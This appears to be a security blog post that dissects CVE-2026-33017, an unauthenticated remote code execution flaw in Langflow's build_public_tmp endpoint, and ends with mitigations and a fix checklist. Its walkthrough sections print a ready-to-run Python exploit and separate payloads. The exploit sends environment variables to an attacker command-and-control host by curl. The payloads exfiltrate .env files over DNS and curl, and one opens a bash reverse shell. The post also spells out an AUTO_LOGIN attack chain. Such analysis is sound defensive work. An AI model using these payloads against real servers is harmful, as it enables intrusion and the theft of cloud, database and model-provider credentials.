An engineer builds an AI workflow platform. Users drag nodes onto a canvas, connect them, and deploy agents that read documents, call LLMs, and send emails. The platform is open-source. 146,000 stars on GitHub. Fortune 500 companies use it in production.
The engineer knows security matters. When CVE-2025-3248 drops — an unauthenticated RCE in the /api/v1/validate/code endpoint — they fix it the same week. Add an auth check. Ship the patch. Move on.
Twelve months later, their platform is compromised. Not through the endpoint they fixed — through a different one. Same codebase. Same exec() call at the end of the chain. Same zero sandboxing. But this endpoint is supposed to be unauthenticated. Public flows need to work without login.
That design constraint is the entire vulnerability.
This post walks through exactly how CVE-2026-33017 works, why it was exploited within 20 hours of disclosure, and what every AI infrastructure team must learn from it.
Langflow Architecture — Why Visual Workflows Need Code Execution
Langflow is an open-source visual framework for building AI agents and RAG (Retrieval-Augmented Generation) pipelines. Users create flows by connecting nodes on a drag-and-drop canvas. Each node is a functional block: an input handler, an LLM call, a document loader, a code transformer.
The critical architectural choice is the Custom Component — a node type that lets users write arbitrary Python code directly in the UI. Custom components are Langflow’s escape hatch. They let power users implement logic that the built-in nodes don’t cover: custom preprocessing, API calls, data transformations.
Here is the problem: every custom component’s Python code must be compiled and executed on the server. Langflow is not a client-side tool. The flow runs server-side. When a user hits “Run”, the server parses the flow graph, instantiates each component, and executes the code inside every node.
This is the fundamental tension in every AI workflow platform: user-defined code must execute server-side, but untrusted code must never execute server-side without isolation. Langflow resolved that tension with exec() and hope.
Langflow Architecture — Flow Execution Path
The path from “user draws a node” to “server calls exec()” goes through several layers. In a properly designed system, each layer validates, sanitizes, or sandboxes the code. In pre-1.9.0 Langflow, every layer passed the buck to the next one, and the last layer called exec() without guardrails.
The Vulnerable Endpoint — build_public_tmp
Langflow has two flow build endpoints that look nearly identical:
POST /api/v1/build/{flow_id}/flow → Authenticated (requires user session)
POST /api/v1/build_public_tmp/{flow_id}/flow → Unauthenticated (public flows)
The authenticated endpoint at line 138 of chat.py requires a current_user dependency. The public endpoint at line 580 does not — by design. Public flows must be executable by anyone with the link, like a published document.
Both endpoints accept an optional data parameter of type FlowDataRequest:
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
data: Annotated[FlowDataRequest | None, Body(embed=True)] = None,
request: Request,
# No current_user dependency. No auth at all.
):
The data parameter is intended as an override — if provided, the server uses this attacker-supplied flow definition instead of loading the stored flow from the database. This makes sense for the authenticated endpoint (users should be able to modify their own flows before building). But the public endpoint accepts the same parameter, and since it requires no authentication, an attacker can submit a completely fabricated flow definition.
This is CWE-306: Missing Authentication for Critical Function, combined with CWE-94: Code Injection.
The Call Chain — Eight Steps to exec()
When the public endpoint receives an attacker’s flow data, it travels through this call chain:
Exploit Call Chain — Flow Data to exec()
Let me walk through each step with the actual code paths.
Step 1–2: Endpoint to Build Pipeline
The build_public_tmp handler in chat.py receives the request and immediately forwards it to start_flow_build():
# chat.py (simplified)
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(*, flow_id, data: FlowDataRequest | None = None):
# No authentication check
# No ownership validation on the flow
# data flows directly into build pipeline
return await start_flow_build(
flow_id=flow_id,
data=data, # Attacker-controlled
...
)
Steps 3–4: Graph Deserialization
build_graph_from_data() passes the attacker’s payload to Graph.from_payload(), which deserializes the JSON flow definition. The flow definition contains a list of nodes, each with parameters. One of those parameters is code — the Python source of a Custom Component.
{
"nodes": [
{
"id": "exploit-node-1",
"type": "CustomComponent",
"data": {
"node": {
"template": {
"code": {
"value": "import os\n_x = os.popen('id').read()"
}
}
}
}
}
],
"edges": []
}
Step 5–6: Component Loading
loading.py iterates through the deserialized nodes and calls create_class() for each Custom Component, passing the raw code string extracted from the node parameters:
# loading.py — simplified
def instantiate_component(node_data):
code = node_data["template"]["code"]["value"]
# No validation. No sanitization. No sandboxing.
component_class = create_class(code, node_data["id"])
return component_class()
Step 7: The Sink — exec() in validate.py
Inside create_class(), the raw code is compiled and then executed through prepare_global_scope():
# eval.py
def create_class(code: str, node_id: str):
compiled_code = compile(code, f"<component_{node_id}>", "exec")
# No sandbox. No restricted globals.
return compiled_code
# validate.py
def prepare_global_scope(compiled_code):
exec_globals = {}
# The exec() call that runs attacker code
exec(compiled_code, exec_globals)
return exec_globals
The exec() call runs with the full privileges of the Langflow server process. The exec_globals dictionary provides access to the entire Python standard library — os, subprocess, shutil, socket, ctypes. There are no restricted imports, no capability drops, no namespace isolation.
The exec() processes Assign nodes (top-level assignments) during graph compilation — before any flow method is invoked. A top-level assignment like _x = os.popen(...).read() executes immediately during the build phase, not during execution.
Step 8: Code Execution
The attacker’s code runs as the server process. It has access to:
- Environment variables (database strings, API keys, cloud credentials)
- The filesystem (source code, configuration,
.envfiles) - Network access (cloud metadata endpoints, internal services)
- Connected databases reachable from the server
Exploit Walkthrough — Single Request to Root
The exploit requires exactly one HTTP request. No authentication. No session management. No CSRF tokens.
Attack Scenario A: Public Flow Known
If a public flow UUID is known or leaked:
import requests, json
target = "http://victim-langflow.internal:7860"
flow_id = "known-public-flow-uuid"
# Craft a Custom Component with malicious code
payload = {
"nodes": [{
"id": "node_custom_1",
"type": "CustomComponent",
"data": {
"node": {
"template": {
"code": {
"value": (
"import os\n"
"_ = os.popen('curl http://attacker-c2:8080/$(env | base64 -w0)').read()\n"
)
}
}
}
}
}],
"edges": []
}
resp = requests.post(
f"{target}/api/v1/build_public_tmp/{flow_id}/flow",
json={"data": payload}
)
if resp.status_code == 200:
print("[+] RCE confirmed — check your C2 for exfiltrated env vars")
Attack Scenario B: AUTO_LOGIN Enabled
Langflow provides an AUTO_LOGIN feature that issues a JWT token without credentials. If enabled (common in single-user deployments):
- Request a JWT from
/api/v1/loginwith any username - Create a new flow via the authenticated API
- PATCH the flow to set
is_component=False, folder_id=None(making it a PUBLIC flow) - POST to
build_public_tmpwith the crafteddataparameter
This scenario highlights a subtlety: the attacker does not need a pre-existing public flow. With AUTO_LOGIN, they can create, publish, and exploit a flow in one automated chain.
Why Output Is Blind
The attacker’s code executes inside exec() during graph building, not during the HTTP response’s content rendering. The exec() return value is not reflected in the HTTP response body. Output goes to the server’s stdout.
This makes the exploit blind — the attacker confirms execution through side effects (timing, DNS lookups, outbound HTTP callbacks). Data exfiltration requires an outbound channel:
# Exfiltration via DNS query
import socket
data = __import__('os').popen('cat /app/.env | base64 -w0').read().strip()
socket.gethostbyname(f"{data[:50]}.attacker-dns-logger.com")
# Exfiltration via curl
import os
os.system('curl http://attacker-c2:8080/$(cat /app/.env | base64 -w0)')
# Reverse shell (blocking — wrap in thread)
import os, threading
threading.Thread(target=lambda: os.system('bash -c "bash -i >& /dev/tcp/attacker-c2/4444 0>&1"'), daemon=True).start()
Real-World Exploitation — 20 Hours from Disclosure to Weaponization
On March 17, 2026, the Langflow advisory for CVE-2026-33017 was published. The advisory disclosed the vulnerable endpoint path and the mechanism for code injection via flow node definitions. No public PoC existed.
Within 20 hours, the Sysdig Threat Research Team observed the first exploitation attempts in the wild.
Exploitation Timeline — First 48 Hours
Two Classes of Attackers
The Sysdig team identified two distinct attacker profiles:
Type 1 — Automated Scanners (nuclei): These were mass-scanning operations using nuclei templates. They confirmed vulnerability and moved on. The requests were generic — probe the endpoint, check response time, log the hit.
Type 2 — Targeted Exploit Operators (custom Python):
These attackers used python-requests/2.32.3 with no user-agent rotation. They progressed through a methodical kill chain:
| Step | Action | Evidence |
|---|---|---|
| 1 | Vulnerability probe | Single build_public_tmp POST |
| 2 | Environment variable dump | env command executed |
| 3 | File system enumeration | find /app -name "*.db" -o -name "*.env" |
| 4 | Credential extraction | .env files read and exfiltrated |
| 5 | C2 callback | Data sent to 143.110.183.86:8080 |
One attacker (173.212.205.251) had pre-staged infrastructure — the stage-2 dropper was hosted on 173.212.205.251:8443, indicating a prepared exploitation toolkit, not ad-hoc testing. They moved from vulnerability validation to payload deployment in a single session.
The data exfiltration included:
- Database connection strings (PostgreSQL, Redis, MongoDB)
- Cloud provider API keys (AWS, GCP, Azure)
- LLM provider secrets (OpenAI, Anthropic API keys)
- Internal network configuration
This is the supply chain nightmare of AI infrastructure: compromise the AI platform, pivot to the connected services, compromise the model access, compromise the data.
Why the Same Bug Was Fixed Twice
CVE-2025-3248 was fixed in early 2025. It was an identical vulnerability: unauthenticated code reaching exec() via the /api/v1/validate/code endpoint. The fix was adding an authentication check.
CVE-2026-33017 is the same class of bug on a different endpoint. The build_public_tmp endpoint feeds into the same exec() call through the same pipeline. But you cannot fix it by adding auth — the endpoint is designed to be unauthenticated.
The researcher who discovered CVE-2026-33017, Aviral Srivastava, found it by doing exactly what Langflow’s security review should have done: looking at the endpoints that were NOT fixed in the CVE-2025-3248 patch.
“When I audit a codebase, I start by looking at what was already fixed. The patches tell you what the developers consider a vulnerability. Then you search for the same pattern everywhere they didn’t look.” — Aviral Srivastava
This is the patch-gap pattern: a vulnerability is found and fixed in one location, but the same vulnerable code pattern exists in other code paths that weren’t included in the fix scope. The authentication decorator was added to one endpoint. But the underlying architecture — exec() on attacker-controlled strings — had multiple entry points.
The Fix — Remove the data Parameter
Langflow’s fix in version 1.9.0 is surgical. The build_public_tmp endpoint no longer accepts the data parameter:
# Fixed in 1.9.0 — data parameter removed
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
request: Request,
# data parameter removed — flow loads from DB only
):
flow_data = build_graph_from_db(flow_id) # Stored data only
...
The endpoint now exclusively loads flow data from the database. Public flows can still be built without authentication — that feature works correctly. But an attacker can no longer inject a fabricated flow definition. The data parameter was removed entirely from the public endpoint.
Notably, version 1.8.2 was listed as a fix in the changelog but the code was never actually changed (confirmed by JFrog analysis). The real fix shipped in 1.9.0.
Lessons for AI Startups — Sandboxing Is Not Optional
CVE-2026-33017 is not a Langflow-specific failure. It is a systemic failure in an entire category of software. Every AI workflow platform faces the same architectural challenge: users need to run custom code, but that code must not compromise the server.
Here are the patterns I see across the industry, and the ones that work:
Pattern: Runtime Sandboxing (gVisor, Firecracker, WASM)
The gold standard. Each user’s code runs in a lightweight VM or sandboxed runtime. gVisor intercepts system calls and applies a security policy. Firecracker provides micro-VM isolation. WASM runtimes (Wasmtime, Wasmer) provide capability-based security.
- Pros: Strong isolation, resource limits, network policy
- Cons: Performance overhead (100–300ms for Firecracker startup), operational complexity
- Examples: Fly.io (Firecracker), Cloudflare Workers (isolates), Replit (gVisor)
Pattern: Language-Level Sandboxing (Restricted Python, PyPy Sandbox)
Restrict the exec() globals/ locals dictionaries. Remove dangerous imports. Override builtins. Example from a security-conscious codebase:
SAFE_GLOBALS = {
"__builtins__": {
"abs": abs, "bool": bool, "dict": dict,
"int": int, "len": len, "list": list,
"map": map, "max": max, "min": min,
"range": range, "str": str, "sum": sum,
"tuple": tuple, "zip": zip,
# No: exec, eval, open, import, __import__
}
}
def safe_exec(code, user_globals):
exec(code, SAFE_GLOBALS, user_globals) # Still escapable in CPython
This pattern is insufficient alone. Python’s exec() sandbox has been broken repeatedly — through frame objects, through __subclasses__(), through ctypes. In CPython, a restricted exec() is not a security boundary.
Pattern: Subprocess with Limited Privileges
Run each user’s code as a separate subprocess with:
- Dedicated Linux user (no write access to the application)
- Docker container (resource limits, read-only rootfs)
- Network policy (egress to allowlist only)
- Memory and CPU limits
# Example: run user code in a container
docker run --rm \
--memory=256m \
--cpus=0.5 \
--network=none \
--read-only \
--tmpfs /tmp:size=64m \
--security-opt=no-new-privileges \
python:3.12-slim \
python -c "user_code_here"
- Pros: Strong isolation, uses mature container infrastructure
- Cons: Startup latency, image management, resource overhead
What Langflow Did Wrong
Langflow used none of these. The code path was:
- Accept untrusted input ✅
- Parse it into a flow graph ✅
- Extract executable code ✅
- Call
exec()with no sandboxing ❌ - Grant server process privileges ❌
Every step from 4 onward had a single point of failure. There was no defense in depth. No sandbox. No privilege drop. No network policy. No rate limiting. No input size validation.
Fix Checklist
If you run Langflow (or any AI workflow platform), here is your action plan:
| # | Action | Priority |
|---|---|---|
| 1 | Update Langflow to 1.9.0+ — The data parameter is removed from the public endpoint | Critical |
| 2 | Block /api/v1/build_public_tmp/ at the network edge if immediate upgrade is not possible (WAF rule, reverse proxy) | Critical |
| 3 | Audit all endpoints that accept user-supplied code — Grep for exec(, eval(, compile( in your codebase | High |
| 4 | Remove the AUTO_LOGIN feature in production deployments — forces attackers to find or brute-force public flows | Medium |
| 5 | Implement network egress filtering — Langflow servers should not make arbitrary outbound connections | High |
| 6 | Run Langflow in a container with minimal privileges — read-only rootfs, no-new-privileges, limited capabilities | High |
| 7 | Monitor for build_public_tmp requests with unusually large or complex payloads — indicators of exploitation attempts | Medium |
Defense Layers — What Should Have Been in Place
Summary
CVE-2026-33017 is a case study in what happens when an AI infrastructure platform treats security as an endpoint-level concern rather than an architecture-level concern.
| Dimension | Reality |
|---|---|
| Root cause | exec() on attacker-controlled strings with zero sandboxing |
| Attack vector | Single unauthenticated POST request |
| CVSS | 9.8 Critical |
| Time to exploitation | ~20 hours from advisory |
| Impact | Full server compromise, credential theft, supply chain pivot |
| Fix | Remove the data parameter from the public endpoint |
| Broader lesson | Sandboxing user code is not optional in AI workflow platforms |
The vulnerability was not exotic. It was exec() — a Python builtin that every developer learns to avoid in their first year. But it was buried behind seven layers of abstraction in a codebase that had 146,000 people watching and a prior CVE fixing the exact same pattern.
The difference between CVE-2025-3248 and CVE-2026-33017 was one endpoint decorator and the decision to audit — or not audit — the other paths to the same sink. If you build AI infrastructure, your exec() call counts are your security debt. Every one is a liability, and every uncovered path to one is a vulnerability waiting to be rediscovered.